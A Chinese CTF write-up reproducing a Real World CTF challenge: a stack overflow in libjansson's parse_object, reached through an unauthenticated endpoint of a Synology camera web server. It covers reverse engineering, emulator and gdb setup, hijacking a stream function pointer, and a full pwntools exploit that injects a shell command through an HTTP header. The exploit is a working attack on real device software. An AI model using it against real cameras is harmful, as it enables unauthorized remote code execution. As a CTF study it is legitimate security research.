此漏洞是来自于一场Real Word CTF比赛真实环境下看到的,这里拿来复现一下,此溢出点要想溢出到返回地址是不可能的,这里介绍下劫持结构体,在结构体里控制执行流,漏洞点在libjansson.so.4.7.0里的parse_object,在json解析key造成了栈溢出,通过构造能够达到远程rce,调用链子如下:
parse_object->parse_value->json_loads,而json_loads最终调用,我们来分析下,由于是CVE,具体编号不知道,所以这里直接找到漏洞位置 /lib/libjansson.so.4.7.0,我们进行逆向分析下,这里去符号表了,如果硬逆很难,但由于libjansson.so.4.7.0是开源项目,我们直接去github上去找下源码,结合起来分析,源码位置https://github.com/akheron/jansson,我们结合起来分析
由于ida去符号表了,所以我们使用定位关键字符串来找到位置NUL byte in object
然后就可以看到了漏洞位置
这里是由_isoc99_sscanf 进行的一个栈溢出,在解析key的时候对v9和v10造成了栈溢出,但这里调试是无法覆盖返回地址的,因为它会把key和value给覆盖掉,导致程序不能正常运行,所以这里结合源码分析,这里用vscode进行分析,把ida没有识别的函数给重命名下
通过源码,在ida重新命名了下
这里没法覆盖返回地址,那我们就去看下有没有可用的结构体,发现下面有个lex_scan函数,这里我们结合源码去看下,看看有没有可以用到的条件,发现在load.c里 在初始化各个函数的时候,前面已经把结构体定义好了,这样我们溢出的时候直接算好偏移溢出到对应结构体即可,我们看下这个结构体
这里发现是lex_scan的结构体,那么我们可以劫持stream_t的get_func get 函数指针为我们的恶意地址,这样就可以控制执行流,那这时候就有个疑问,那怎么可以知道劫持执行流了呢,我们看看都什么地方调用了stream->get
在stream_get处调用了,然后继续查看stream_get 在什么位置进行调用
lex_get lex_get_save都在调用,接着我们去看下在什么位置调用这两个函数
我们发现在lex_scan_string处调用了,lex_scan_string最终也会被lex_scan_string调用
在lex_scan处直接调用了lex_get,但这里需要满足条件才可以去执行
不过最终都会执行对应stream->get 来达到控制执行流的目的,整体分析下来已经知道了漏洞位置以及如何利用,下面我们就要看看什么地方可控可以来达到最终的利用,这里我们就来验证上面我们所说的链子,如何一步一步验证出来是这样调用的,我们用ida 交叉引用看到在sub_6EF4 也就是parse_value调用
我们继续看下parse_value在什么位置调用,通过搜索在parse_json有调用,接着看下parse_json在什么位置调用
parse_json在json_loads位置调用,那什么地方调用了json_loads,这个时候就需要回到题目文件系统里了
,grep -r “json_loads"
发现有很多binary 在调用,这里我们选择webd,因为它是个摄像头处理的主要文件webserver
我们ida逆向下,呜呜这里又去符号表了,真的难受啊呜呜只能硬逆了,不知道为啥我看看雪佬的文章都是没有去除的,这里我用ida都去除 了,只能自己重命名了,呜呜呜难受,这里首先找下handle_main处理函数
发现有个api接口,接口对应处理的是sub_35CEC, 这个函数主要处理后端不同的cgi请求处理,由于我们不知道前端账号密码,我们需要找到未授权,逆向下
发现没有执行路由会执行到/www/camera-cgi/synocam_param.cgi这个cgi,那我们就去扫描下目录,去看看有什么可以未授权的访问路径,这里用dirsearch,通过扫描发现/syno-api/security/info/mac可以调用
下面我们接着去分析下这个cgi,在start里找到了处理路由函数
在post里,发现传入的数据直接进到了sub_11624
sub_11624 直接调用了json_loads
最后的最后我们整体逆向和漏洞挖掘已经找到思路和利用手法,接下来我们就需要写脚本去执行调试就行了
这里写下环境搭建,题目会给个run.sh,我们改下run.sh
#!/bin/sh
qemu-system-arm \\
\-m 1024 \\
\-M virt,highmem\=off \\
\-kernel zImage \\
\-initrd player.cpio \\
\-nic user,hostfwd\=tcp:0.0.0.0:8801-:80,hostfwd\=tcp:0.0.0.0:8802-:8802,hostfwd\=tcp:0.0.0.0:1234-:1234 \\
\-nographic
~
映射80为本地8801 然后telnet为8802 gdb调试为1234
我们需要开启下里面 的telnet,这里直接在/etc/init.d/rcS,更改如下
#!/bin/sh
\# source profile\_prjcfg on /etc/init.d/rcS (init script cycle) and /etc/profile (after startup cycle)
source /etc/profile\_prjcfg
telnetd \-p 9901 \-l /bin/sh
\# fstab devices create
mount \-a
echo "ker" > /proc/nvt\_info/bootts
echo "rcS" > /proc/nvt\_info/bootts
\# To run /etc/init.d/S\* script
for initscript in /etc/init.d/S\[0-9\]\[0-9\]\*
do
if \[ \-x $initscript \]; then
echo "\[Start\] $initscript"
$initscript
fi
done
echo "rcS" > /proc/nvt\_info/bootts
telnetd \-p 8802 \-l /bin/sh
如何我们要调试的话,把对应版本gdbserver 放到目录下,然后再打包find . | cpio -o --format=newc > ../player.cpio,就可以了
下步就是run.sh,然后gdb-multiarch webd
用telnet localhost 8802连接
ps 查看进程名
gdbserver :1234 --attach 进程号
接着执行如下命令
target remote :1234
set follow-fork-mode parent
catch fork
c
set follow-fork-mode child
catch exec
c
我们通过父进程创建子进程的方式去调试
执行完上面的步骤,并没有完全进到cgi里,这里vmmap查看cgi的基地址加上0x7464,下个断点,c下,这样就能完整加载出来libjansson了,最后我们直接把断点下到 parse_object 的scanf栈溢出位置
b *基地址+0x6BC4,然后继续C就可以调了,由于没有符号表硬调,发现stream->get在0xa4左右位置,那么就可以直接填冲到这个位置就行了,这里选着一个好用的gadget,劫持get为这个地址,这里地址需要\uxxx\uxxx\uxxx这样写,不然的话会报错
配合通过'$HTTP_A' 在下面定义个A:cat /flag > /www/index.html里 ,即可rce
完整的exp:
from pwn import *
context(arch='arm', os='linux', log_level='debug')
ip = '127.0.0.1'
port = 8801
r = remote(ip, port)
shell = b'$HTTP_A'
shell = shell.ljust(8, b';')
payload = b'a ' + b'b' * (0x60 + 0x24 - 8) + shell + b'\u005c\u004d\u0041'
json = b'{"' + payload + b'": ""}'
pay = b''
pay += b'POST /syno-api/security/info/mac HTTP/1.1' + b'\r\n'
pay += (b"Content-Length: %d" % len(json)) + b'\r\n'
pay += b'A: cat /flag > /www/index.html' + b'\r\n'
pay += b'Accept: text/plain, */*; q=0.01' + b'\r\n'
pay += b'Content-Type: application/json' + b'\r\n'
pay += b'\r\n'
pay += json
r.send(p3)
r.interactive()
总结:通过这个题能学到很多实战上的技巧,感觉这些技巧大部分都可以通用,逆向的时候是累了点,但逆明白了还是很开心的,另我担忧的是如果实战没有开源项目,都是去符号表真的会G呜呜,只能通过gdb硬调了,没办法呜呜,继续加油吧,未来多复现这样的题或者CVE,累复现了两天呜呜